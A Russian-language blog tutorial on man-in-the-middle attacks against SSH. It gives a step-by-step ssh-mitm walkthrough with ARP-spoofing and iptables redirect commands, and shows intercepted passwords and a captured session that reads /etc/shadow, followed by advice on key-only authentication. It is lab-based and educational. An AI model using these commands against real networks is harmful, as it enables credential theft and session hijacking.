Выполнение повседневных задач системного администратора считается безопасным при работе через SSH сессию. В данной статье речь пойдет про современные инструменты для проведения MITM-атак на протокол SSH и как защититься от них.
Арсенал
sshmitm
Существует инструмент, который появился достаточно давно и так и называется — sshmitm. Он входит в дистрибутив для проведения пентеста Kali Linux, но поддерживает только первую версию протокола SSH, что в современной инфраструктуре накладывает серьезные ограничения.
mitmproxy
Есть другой инструмент, который, в частности, позволяет провести MitM-атаку на протокол SSH — mitmproxy (не путать с другим mitmproxy). Его можно скачать с github. Этот инструмент позволяет работать и с аутентификацией по ключу, но у меня это так и не заработало. Инструмент не поддерживается уже 4 года и не работает «из коробки». Сперва нужно исправить несколько ошибок в исходном коде.
После исправления ошибок инструмент позволяет провести MitM атаку, используя аутентификацию по паролю.
intercepter-ng
Было бы странно не упомянуть инструмент Intercepter-ng, позволяющий помимо прочего проводить классическую MitM-атаку на протокол SSH.
ssh-mitm
И совсем недавно появился еще один инструмент — ssh-mitm
→ GitHub
Он представляет из себя OpenSSH v7.5p1 с патчем, позволяющим работать как прокси между SSH-клиентом и оригинальным SSH-сервером. Его мы и рассмотрим подробнее.
Установка
Скачиваем дистрибутив в github и запускаем установочный скрипт
git clone https://github.com/jtesta/ssh-mitm.git
cd ssh-mitm
./install.sh
Скрипт установит все зависимости, скачает исходники openssh-7.5p1, пропатчит их, сконфигурирует и скомпилирует. В результате вы увидите сообщение
Done! The next step is to use JoesAwesomeSSHMITMVictimFinder.py to find target IPs, then execute run.sh and ARP spoof.
Так же будет создана директория /home/ssh-mitm.
Проведение атаки
Для того чтобы провести MitM-атаку на протокол SSH нам для начала нужно перенаправить трафик жертвы на нашу машину, вместо оригинального SSH сервера. После установки ssh-mitm мы можем воспользоваться скриптом, входящим в комплект, для поиска ssh-сессий в сети.
Скрипт JoesAwesomeSSHMITMVictimFinder.py находится в каталоге, куда вы склонировали git-репозиторий и делает следующее:
- Проводит arp-spoofing блока IP-адресов (размер блока задается параметром, по умолчанию равен 5)
- Ждет несколько секунд (время ожидания задается параметром, по умолчанию равно 20 секундам)
- Отображает в консоли найденные SSH сессии
- Переходит к следующему блоку
Для arp-spoofing-а используется ettercap, а для сниффинга сетевых пакетов tshark.
Оба инструмента по умолчанию входят в дистрибутив Kali Linux.
При запуске скрипта вы можете получить сообщение «The Python3 netaddr and/or netifaces module is not installed». Исправляется выполнением команды:
apt install python3-netaddr python3-netifaces
Пример запуска скрипта:
./JoesAwesomeSSHMITMVictimFinder.py --interface eth0 --listen-time 5
Пример вывода:
Local servers:
* 192.168.1.5 -> 192.168.1.4:22
После того как цели определены, требуется выполнить другой скрипт — run.sh, который так же находится в каталоге git.
Он, собственно, запускает сервис sshd_mitm, выставляет системный параметр ip_forward равным 1, тем самым разрешая транзитные пакеты и создает правило iptables, перенаправляющее все пакеты на поддельный SSH-сервер.
root@kalix64:~/mitm_and_spoof/ssh-mitm# iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
REDIRECT tcp -- anywhere anywhere tcp dpt:ssh redir ports 2222
root@kalix64:~/mitm_and_spoof/ssh-mitm# netstat -tlpan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 13241/sshd_mitm
Скрипт run.sh не запускает атаку arp-spoofing. Это нужно сделать самостоятельно, например, при помощи arpspoof или ettercap.
arpspoof -i eth0 -t 192.168.1.4 -r 192.168.1.5
Для получения учетных данных жертвы удобно просматривать файл auth.log при помощи tail.
tail -f /var/log/auth.log
Когда жертва (192.168.1.5) попытается подключиться к оригинальном SSH-серверу (192.168.1.4), она непременно увидит сообщение о смене публичного ключа сервера
ubuntu@gns3_1:~$ ssh ubuntu@192.168.1.4
The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established.
ED25519 key fingerprint is SHA256:kn+iT7WwgO6Wlh0xN4KQXB8P/JaHLcRx04gYTvNdjCM.
Are you sure you want to continue connecting (yes/no)?
В 99% случаев администраторы отвечают на подобный вопрос «yes».
Далее жертва вводит логин и пароль, а в журнале auth.log на машине атакующего появляется запись
Aug 29 16:55:08 kalix64 sshd_mitm[13426]: INTERCEPTED PASSWORD: hostname: [192.168.1.4]; username: [ubuntu]; password: [qwerty123] [preauth]
Aug 29 16:55:08 kalix64 sshd_mitm[13426]: Accepted password for ssh-mitm from 192.168.1.5 port 37838 ssh2
И видим в /home/ssh-mitm файл session_0.txt с записанной сессией:
Last login: Tue Aug 29 16:46:03 2017 from ns.secret.lab
ESC]0;ubuntu@ubuntu: ~^Gubuntu@ubuntu:~$ ccdd //eettcc
ESC]0;ubuntu@ubuntu: /etc^Gubuntu@ubuntu:/etc$ ccaatt //eettcc//sshhaadd ^Gow^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?
^H^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^Gssuuddoo ssuu --
[sudo] password for ubuntu: qwerty123
ESC]0;root@ubuntu: ~^Groot@ubuntu:~# ccdd //eettcc//^?^HESC[K
ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# ccaatt sshhaadd ^Gow ^G
shadow shadow-
ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# cat shadow
root:!:17040:0:99999:7:::
daemon:*:17001:0:99999:7:::
bin:*:17001:0:99999:7:::
sys:*:17001:0:99999:7:::
sync:*:17001:0:99999:7:::
games:*:17001:0:99999:7::
Как видите, некоторые данные задваиваются. Это связано с тем, что записывается как ввод пользователя, так и вывод на экран. Программа sudo, например, временно отключает «echo» и пароль qwerty123 отображается «нормально»
ssh-mitm, на мой взгляд, представляет записанную сессию в более удобном виде, чем mitmproxy
На скриншоте выше я пытался ввести в консоль
cat /etc
Если целевой сервер не разрешает аутентификацию по паролю, а только по ключу, ssh-mitm все равно предложит аутентификацию по паролю и просто разорвет соединение после ввода учетных данных, так как оригинальный сервер учетные данные не примет. Но злоумышленник получит какой-то пароль и сможет использовать его в дальнейшем, так как администратор вряд ли будет вводить что-то несуществующее.
Защита
Как ни странно, но для защиты от подобных атак ничего дополнительно устанавливать в систему не требуется. Все, что нужно — это запретить аутентификацию по паролю директивой
PasswordAuthentication no
И использовать аутентификацию по ключу.
Это защитит сервис так же и от атак на перебор учетных данных, т.е. брутфорса.
Также, не стоит принимать без разбора измененный отпечаток сервера. Сам по себе он обычно не меняется, и если вы сами отвечаете за сервер, к которому подключаетесь и знаете, что ничего там не переустанавливали, стоит лишний раз проверить, не проводится ли в данный момент MitM-атака.
Автор: antgorka